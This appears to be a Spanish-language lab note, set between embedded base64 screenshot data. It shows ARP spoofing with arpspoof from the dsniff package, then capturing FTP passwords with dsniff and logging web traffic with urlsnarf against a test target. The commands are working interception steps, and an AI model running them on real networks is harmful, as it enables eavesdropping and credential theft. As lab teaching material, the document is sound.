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
Para llevar a cabo el sniffing de las actividades de la computadora que se quiere acabar se necesita primeramente de los siguientes elementos: * IP del target (192.168.4.24) * IP propia (192.168.7.235) * [[dsniff|https://packages.debian.org/stable/net/dsniff]] ''Dsniff'' es un paquete que contiene varias herramientas para leer actividades de red así como hacer pruebas de distintos ataques, no obstante algunas necesitan de un componente visual y dado esto no todas estan disponibles para ''Core''. La paquetería se instala con el siguiente comando: `apt install dsniff` Una vez instalada la paquetería solo es necesario utilizar el siguiente comando para realizar el [[arp spoofing|https://es.wikipedia.org/wiki/Suplantaci%C3%B3n_de_ARP]]. `arpspoof -t 192.168.4.24 192.168.7.235` Este comando hace que se pueda ver la actividad de la computadora ''target'' por parte de la computadora realizando el ataque. Lo cual se puede ver en la siguiente imagen: [img[arp1.PNG]] Para la parte de pruebas se realizo un pequeño servidor [[vsftpd|https://wiki.debian.org/vsftpd]] con funcionalidad básica. Adicionalmente, se debe hacer el proceso inverso para asegurarnos que todos los mensajes de la ''target'' lleguen a nuestra computadora con el comando: `arpspoof -t 192.168.7.235 192.168.4.24 ` Siendo sus resultados ilustrados por la siguiente imagen: [img[arp2.PNG]] Se abre otra consola para llevar a cabo la siguiente funcionalidad: `dsniff` Este comando muestra las contraseñas para varios servicios básicos, en este caso se utilizo el servicio básico de ftp y se conecto por medio de la computadora ''target''. Se realizó el [[sniffing|https://es.wikipedia.org/wiki/Analizador_de_paquetes]] con la computadora propia obteniendo el resultado: [img[ftp.png]] Adicionalmente, se puede monitorear el trafico web utilizando el commando en una nueva consola: `urlsnarf` Se ingreso a [[esta página|http://rbzs.myspecies.info/scratchpads-front?destination=scratchpads-front]] para comprar el monitoreo de red. Obteniendo el siguiente resultado: [img[urlsnarf.PNG]]
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